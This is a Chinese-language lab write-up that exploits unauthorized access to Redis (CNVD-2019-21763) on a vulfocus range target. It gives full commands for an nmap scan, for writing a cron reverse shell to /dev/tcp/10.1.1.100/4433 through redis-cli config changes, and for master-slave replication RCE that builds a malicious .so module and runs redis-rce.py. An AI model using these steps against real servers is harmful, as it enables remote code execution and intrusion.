文章目录
CNVD-2019-21763
描述
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
攻击机:VPS
目标机器:vulfocus redis 未授权访问 (CNVD-2019-21763)
漏洞发现
端口探测
nmap -v -Pn -p 6379 -sV 123.58.224.8
#发现存在6379 redis服务默认端口
尝试使用 redis-cli 客户端连接
发现可以连接
写定时任务反弹shell
发现save不了,链接不稳定,尝试其他方法
redis-cli -h 123.58.224.8 -p 16632
set xxx "\n\n 1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/4433
0>&1\n\n"
config set dir /var/
config set dbfilename root
save
主从复制RCE
如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写C语言并编译出 .so 文件。
手动编译 so 扩展文件
编译生成so扩展文件
git clone https://github.com/puckiestyle/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make
脚本利用Redis主从复制RCE
https://github.com/puckiestyle/RedisModules-ExecuteCommand
https://github.com/Ridter/redis-rce
https://github.com/Dliv3/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell
git clone https: github.com/Ridter/redis-rce
cd redis-rce
python3 -m pip install -r requirement.txt
cp /home/ubuntu/RedisModules-ExecuteCommand/module.so ./module.so
python redis-rce.py -r 123.58.224.8 -p 58728 -L VPS ip -P vps port -f modules.so